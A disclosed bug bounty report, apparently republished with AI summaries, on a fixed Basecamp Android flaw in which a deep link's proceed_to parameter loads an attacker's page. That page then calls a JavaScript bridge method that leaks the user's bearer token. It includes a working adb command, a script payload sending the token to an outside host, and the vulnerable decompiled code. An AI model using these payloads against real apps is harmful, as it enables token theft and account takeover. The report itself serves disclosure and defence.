Able to steal bearer token from deep link
The Basecamp Android app's deep link handler allowed an attacker-controlled URL in the proceed_to parameter to bypass internal URL checks, and a JavaScript bridge method could then send the user's bearer token to an attacker-controlled server. An attacker could steal authentication tokens without physical access to the device.
Originally disclosed on HackerOne
- Triaged in 26 days
- Fixed in 4 months
- Paid in 26 days
- Disclosed after 5 months
Pre-requisities
Prior to exploitation you would be required to know the "account id" of the user that you are attacking. Whilst this makes it difficult to attack an application in a generic way - the account is not secret information as it is included in any links to a user's basecamp organisation. E.g
https://3.basecamp.com/5218370/
Attack
The attack involves forcing the user to enter the application either by starting an intent from an application on the device already, or by triggering a deep link (which can be done by with e.g. a phishing email) . The link should be in this format:
https://3.basecamp.com/<accountId>/verify?proceed_to=<attacker controlled URL>
Here is a sample adb command that can be used to test the attack:
adb shell am start -n com.basecamp.bc3/com.basecamp.bc3.activities.BasecampUrlFilterActivity https://3.basecamp.com/5218370/verify?proceed_to=https://haystack-production-storage.s3.eu-west-2.amazonaws.com/attack.html
The second part of the attack involves redirecting someone using the turbo links API that is exposed through the javascript native bridge. Here is the example:
<script>NativeApp.openNativeImageViewer("[{'download_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'preview_url': 'https://us-central1-andro-3982e.cloudfunctions.net/home/5218370/image.jpg', 'caption':'ViewImage'}]", 0)</script>
This script executes 'openNativeImageViewer' and passes the download_url and preview_url. The preview_url is the most interesting, as it requires not user interaction. In order to render a preview image, the basecamp app sends the JWT header to the site, meaning that the 'preview_url' will receive that header.
Vulnerability
The clearest vulnerability is that the check to determine if a URL is an 'internal' URL allows it to by bypassed in a limited way by using the /verify? url along with a proceed_to that is attacker controlled.
if (TuroblinksUrlHandler.contains(url, "/verify?", true)) {
C3982h.nullCheck(url, "$this$proceedToParam");
C3982h.nullCheck(url, "$this$extractQueryParam");
C3982h.nullCheck("proceed_to", "queryKey");
String queryParameter = url.toUri().getQueryParameter("proceed_to");
url = queryParameter != null ? UrlKt.parseUrl(queryParameter) : null;
C3982h.nullCheck(url);
}
Intent intent10 = new Intent(context, WebViewActivity.class);
C1071a.addUrlsToIntent(url, intent10, "intentUrl", "intentApiUrl", null);
return intent10;
Impact
An attacker could, without physical access to the device, retrieve a user's authentication tokens. A potentially compounding factor is that once a user has been exploited, it might be possible to continue the chain of attack by having that compromised user share links with other users who trust links sent by the compromised user.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The app's internal URL check could be bypassed because the /verify endpoint accepted an attacker-controlled proceed_to parameter and loaded it in a WebView, and a JavaScript bridge method then forwarded the authentication token to that URL.
Impact
An attacker could retrieve a user's authentication tokens without physical access to the device, and a compromised user might then spread the attack to others who trust their links.
What the attacker needed
Victim's account id; victim opens a crafted deep link; Android Basecamp app installed
How it was found
- Know the victim's account id, which appears in any link to their Basecamp organisation.
- Send the victim a crafted deep link containing the account id and an attacker-controlled proceed_to URL.
- The app opens the attacker-controlled page in its WebView.
- The page calls the native image viewer bridge with an attacker-controlled preview_url.
- The app sends the JWT header to that preview_url, delivering the token to the attacker.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A deep link is a special web address that opens an app instead of a website. The app trusted a link parameter called proceed_to and loaded whatever address was placed there, even outside the app. A hidden feature that shows images then sent the user's login token to that outside address.
What is Account takeover?
Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.